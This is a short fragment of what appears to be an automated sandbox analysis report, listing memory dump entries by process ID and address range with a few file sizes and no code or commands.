                                                                      • memory/1848-101-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1848-103-0x0000000002732000-0x0000000002734000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1848-97-0x0000000000000000-mapping.dmp

                                                                      • memory/1860-123-0x0000000000000000-mapping.dmp

                                                                      • memory/1868-117-0x0000000000000000-mapping.dmp

                                                                      • memory/1868-146-0x0000000000000000-mapping.dmp

                                                                      • memory/1872-153-0x0000000000000000-mapping.dmp

                                                                      • memory/1880-122-0x0000000000000000-mapping.dmp

                                                                      • memory/1932-118-0x0000000000000000-mapping.dmp

                                                                      • memory/1932-139-0x0000000000000000-mapping.dmp

                                                                      • memory/2024-147-0x0000000000000000-mapping.dmp